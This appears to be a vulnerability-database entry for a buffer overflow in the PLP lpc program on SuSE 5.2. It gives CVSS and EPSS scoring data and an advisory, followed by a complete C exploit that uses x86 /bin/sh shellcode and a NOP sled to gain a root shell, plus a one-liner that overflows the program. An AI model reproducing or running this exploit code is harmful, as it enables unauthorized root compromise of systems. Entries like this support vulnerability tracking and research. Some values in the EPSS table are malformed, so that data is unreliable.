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SuSE 5.2 PLP lpc program has a buffer overflow that leads to root compromise.
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V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.96%
–
–
2022-03-13
–
–
1.96%
–
–
2022-04-03
–
–
1.96%
–
–
2022-07-31
–
–
1.96%
–
–
2023-02-26
–
–
1.96%
–
–
2023-03-12
–
–
–
0.05%
–
2024-02-11
–
–
–
0.05%
–
2024-03-31
–
–
–
0.05%
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2024-06-02
–
–
–
0.05%
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2024-06-30
–
–
–
0.05%
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2024-11-10
–
–
–
0.05%
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2025-01-19
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–
–
0.05%
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2025-01-19
–
–
–
0.05%
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2025-03-18
–
–
–
–
0.41%
2025-03-30
–
–
–
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0.41%
2025-04-06
–
–
–
–
0.41%
2025-04-15
–
–
–
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0.41%
2025-04-15
–
–
–
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0.41,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/328/info
The PLP Line Printer Control program, shipped with S.u.S.E. 5.2 is vulnerable to a local remote buffer overflow. You can determine whether you're vulnerable or not by typing 'lpc'. If you're presented with an lpc version number, you're vulnerable. The consequences of lpc exploitation are root access for a local user.
/*
Standard overflow for x86 linux lpc. PLP Line Printer Control program, version 4.0.3. Tested on SuSE 5.2 (suidroot). Test your copy of /usr/bin/lpc by trying an /usr/bin/lpc attach lp `perl -e "print 'A' x 1000"`;lpc status lp The problematic code is in displayq.c and control_ops.c, where we attempt to fscanf() the lockfile's contents into a fixed length buffer. See the Bugtraq post for full fix information(www.geek-girl.com/bugtraq).
The buffer we're overflowing is 256bytes, and an offset of 0 works just fine. Try in increments of +-100 if it doesn't work for you.
Obviously this is a complete rip of Aleph1's standard overflow program from his paper "smashing the stack for fun and profit".
to compile: gcc -o xnec_lpc xnec_lpc.c
bugs: only sets uid=0, and you may have to have a printer defined (lp on my box).
greets to #sk1llz
-xnec xnec on EF and DALnet, xnec@inferno.tusculum.edu
*/ #include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 356
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char pause;
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
printf("\nPLP Line Printer Control program, version 4.0.3 overflow.\n");
printf("Bug found by xnec, code ripped from Aleph1. After running this program, simply compile and run:\n---\n
#include <unistd.h>
void main(){system(\"/bin/bash\");}\n---\n");
scanf("%c", pause);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("`which lpc` attach lp $RET; `which lpc` status lp");
}